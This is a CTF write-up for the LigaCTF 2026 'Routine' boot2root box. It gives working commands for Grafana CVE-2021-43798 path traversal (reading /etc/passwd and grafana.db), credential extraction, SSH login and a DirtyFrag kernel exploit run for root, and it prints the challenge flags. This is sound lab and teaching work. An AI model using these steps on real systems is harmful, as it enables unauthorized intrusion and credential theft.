Back to writeups

LigaCTF 2026

Routine

LigaCTF 2026 ligactf2026, forensics, cryptography writeup covering Routine with analysis, solution steps, and final recovery notes.

Date
Platform
CTF
Category
CTF
Difficulty
Medium
#ctf#ligactf2026#forensics#cryptography#boot2root

Challenge Information

FieldValue
ChallengeRoutine
CategoryBoot2Root / Linux
Target IP[REDACTED_LOCAL_IP]
Attacker OSKali Linux
User FlagOWASPKL{496d5373e7501c9aab3b2658bbad4c02}
Root FlagOWASPKL{b0f8c51049b9db31552bda1bd751940a}

1. Reconnaissance

A full TCP scan was performed against the target.

sudo nmap -Pn -n -p- --min-rate 3000 [REDACTED_LOCAL_IP] -oN full_ports.txt

Open ports found:

pasted-image-20260531132826

A service/version scan was then executed:

ports=$(grep -oP '^\d+(?=/tcp\s+open)' full_ports.txt | paste -sd, -)
sudo nmap -Pn -n -sV -sC -p "$ports" [REDACTED_LOCAL_IP] -oN enum.txt

Result:

pasted-image-20260531132938

Port 3000 hosted a Grafana login page.


2. Grafana Enumeration

The Grafana API health endpoint disclosed the version.

curl -s http://[REDACTED_LOCAL_IP]:3000/api/health | jq .

Output:

pasted-image-20260531133017

Grafana 8.3.0 is vulnerable to CVE-2021-43798, an unauthenticated path traversal vulnerability that can read local files through installed plugin paths.

Vulnerability details:

ItemValue
CVECVE-2021-43798
WeaknessCWE-22 Path Traversal
CVSS7.5 High
Affected VersionsGrafana 8.0.0-beta1 to 8.3.0
Fixed Versions8.0.7, 8.1.8, 8.2.7, 8.3.1

3. Exploiting Grafana File Read

The path traversal was tested by reading /etc/passwd.

export URL=http://[REDACTED_LOCAL_IP]:3000

curl -s --path-as-is \
"$URL/public/plugins/alertlist/../../../../../../../../etc/passwd" | head

Output confirmed successful file read:

pasted-image-20260531133050

The Grafana database was then downloaded.

mkdir -p loot

curl -s --path-as-is \
"$URL/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db" \
-o loot/grafana.db

The downloaded file was confirmed as a SQLite database.

file loot/grafana.db

pasted-image-20260531133123


4. Credential Extraction

The database tables were inspected.

sqlite3 loot/grafana.db ".tables"

pasted-image-20260531133146

Interesting credential data was found by querying the credentials table.

	sqlite3 loot/grafana.db "select * from credentials;"

Output:

pasted-image-20260531133206

The credentials were tested over SSH. The valid credential was:

tellytubby:V4lor4nt-Anti-cHEAT

5. Initial Foothold

SSH login was successful as tellytubby.

ssh tellytubby@[REDACTED_LOCAL_IP]

pasted-image-20260531133247

After logging in, the local flag was found in the user home directory.

ls -la
cat local.txt

Output:

pasted-image-20260531133311

OWASPKL{496d5373e7501c9aab3b2658bbad4c02}

6. Privilege Escalation Enumeration

Basic host information was collected.

id
hostname
uname -a
cat /etc/os-release
sudo -l

Output:

pasted-image-20260531133348

uid=1003(tellytubby) gid=1003(tellytubby) groups=1003(tellytubby)
routine
Linux routine 7.0.0-15-generic x86_64 GNU/Linux
Ubuntu 26.04 LTS
sudo: Sorry, user tellytubby may not run sudo on routine.

The user had no sudo privileges.

SUID binaries and Linux capabilities were checked.

find / -perm -4000 -type f 2>/dev/null
getcap -r / 2>/dev/null

A writable backup script was also found:

/home/tellytubby/Downloads/userbackup.py

However, no active cron or systemd execution path was confirmed for the script.

The kernel version was then checked against public local privilege escalation vulnerabilities. The target was running:

Linux 7.0.0-15-generic

This kernel was vulnerable to the DirtyFrag local privilege escalation chain.

DirtyFrag details:

ItemValue
Vulnerability ClassLinux kernel local privilege escalation
Related CVEsCVE-2026-43284, CVE-2026-43500
WeaknessCWE-123 / CWE-787
ExploitabilityLocal authenticated user required
ImpactRoot privilege escalation

7. DirtyFrag Exploitation

The target did not have gcc, and /tmp was full.

which gcc git make python3
df -h /tmp /home /dev/shm

Output showed:

/usr/bin/git
/usr/bin/python3
/tmp 100% used
gcc not found

Because of this, the exploit was compiled on Kali instead of the target.

On Kali:

cd ~/Desktop/LigaCTF2026/Boot2Root/Routine
rm -rf dirtyfrag
git clone https://github.com/V4bel/dirtyfrag.git
cd dirtyfrag

gcc -O0 -Wall -o exp exp.c -lutil
file exp

pasted-image-20260531133456

The compiled binary was uploaded to the target user directory instead of /tmp.

scp exp tellytubby@[REDACTED_LOCAL_IP]:/home/tellytubby/Downloads/exp

pasted-image-20260531133509

On the target:

cd /home/tellytubby/Downloads
chmod +x exp
./exp
id

The exploit successfully spawned a root shell.

pasted-image-20260531133541

root@routine:~# id
uid=0(root) gid=0(root) groups=0(root)

8. Root Flag

The root proof file was located in /root.

ls
cat proof.txt

Output:

pasted-image-20260531133604

OWASPKL{b0f8c51049b9db31552bda1bd751940a}

9. Attack Chain Summary

1. Performed full TCP scan with Nmap.
2. Found SSH on port 22 and Grafana on port 3000.
3. Identified Grafana version 8.3.0 through /api/health.
4. Exploited CVE-2021-43798 to read local files.
5. Downloaded /var/lib/grafana/grafana.db.
6. Extracted user credentials from the Grafana database.
7. Logged in over SSH as tellytubby.
8. Captured the user flag from /home/tellytubby/local.txt.
9. Enumerated the host and identified vulnerable Linux kernel 7.0.0-15.
10. Compiled DirtyFrag exploit on Kali because the target had no gcc.
11. Uploaded the exploit to /home/tellytubby/Downloads.
12. Ran DirtyFrag and gained root.
13. Read /root/proof.txt.

Authorized security practice only. These notes are for lab, CTF, and explicitly permitted environments.